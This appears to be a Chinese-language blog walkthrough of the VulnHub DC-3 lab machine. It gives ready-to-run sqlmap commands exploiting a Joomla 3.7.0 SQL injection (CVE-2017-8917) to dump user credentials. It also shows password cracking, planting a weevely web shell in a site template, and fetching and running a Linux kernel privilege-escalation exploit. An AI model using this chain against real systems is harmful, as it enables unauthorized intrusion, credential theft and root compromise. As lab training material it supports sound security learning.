VulnHub之DC-3


一个粗糙的信息收集

通过扫描端口信息,我们看到服务器只开放了一个80端口,运行的是Joomla框架
VulnHub之DC-3_第1张图片
我们打开网站看看
在首页提示我们,这个靶机只有一个Flag,并且没有任何线索
VulnHub之DC-3_第2张图片
使用dirb扫描一下目录,发现了一个Administrator的目录
VulnHub之DC-3_第3张图片
使用joomscan扫描一下网站

https://github.com/rezasp/joomscan

通过扫描我们获得了Joomla框架的版本号为3.7.0和一些
VulnHub之DC-3_第4张图片
在百度查了一下,Joomla 3.7.0存在一个CVE-2017-8917的一个SQL注入漏洞
使用searchspolit搜索
VulnHub之DC-3_第5张图片
查看这个文件,里面记录了关于漏洞利用的一些方法
VulnHub之DC-3_第6张图片
使用SQLMAP进行注入

sqlmap -u "http://192.168.31.26/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

VulnHub之DC-3_第7张图片
得到数据库名
VulnHub之DC-3_第8张图片
获取Joomladb的表

sqlmap -u "http://192.168.31.26/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

VulnHub之DC-3_第9张图片
VulnHub之DC-3_第10张图片
查看#__user表中的字段

sqlmap -u "http://192.168.31.26/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

VulnHub之DC-3_第11张图片
获取表中的内容

sqlmap -u "http://192.168.31.26/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C 'id,username,password' --dump -p list[fullordering]

VulnHub之DC-3_第12张图片
得到admin密码的hash,使用john进行破解得到密码
VulnHub之DC-3_第13张图片
登录到后台发现可以创建文件,我们使用weevely生成一个shell文件,然后进行连接

生成shell
weevely http://192.168.31.26/templates/protostar/shell.php 123456
连接shell
weevely http://192.168.31.26/templates/protostar/shell.php 123456

VulnHub之DC-3_第14张图片
但是权限是www-data,需要进行提权

查看内核版本

使用Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation

下载提权需要的文件

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

VulnHub之DC-3_第15张图片
执行下面的命令进行提权

tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

VulnHub之DC-3_第16张图片
查看flag文件
VulnHub之DC-3_第17张图片

VulnHub之DC-3_第18张图片

下方查看历史文章

VulnHub之DC-1

VulnHub之DC-2

VulnHub之MuzzyBox_WriteUp

扫描二维码

获取更多精彩

NowSec

你可能感兴趣的:(VulnHub之DC-3)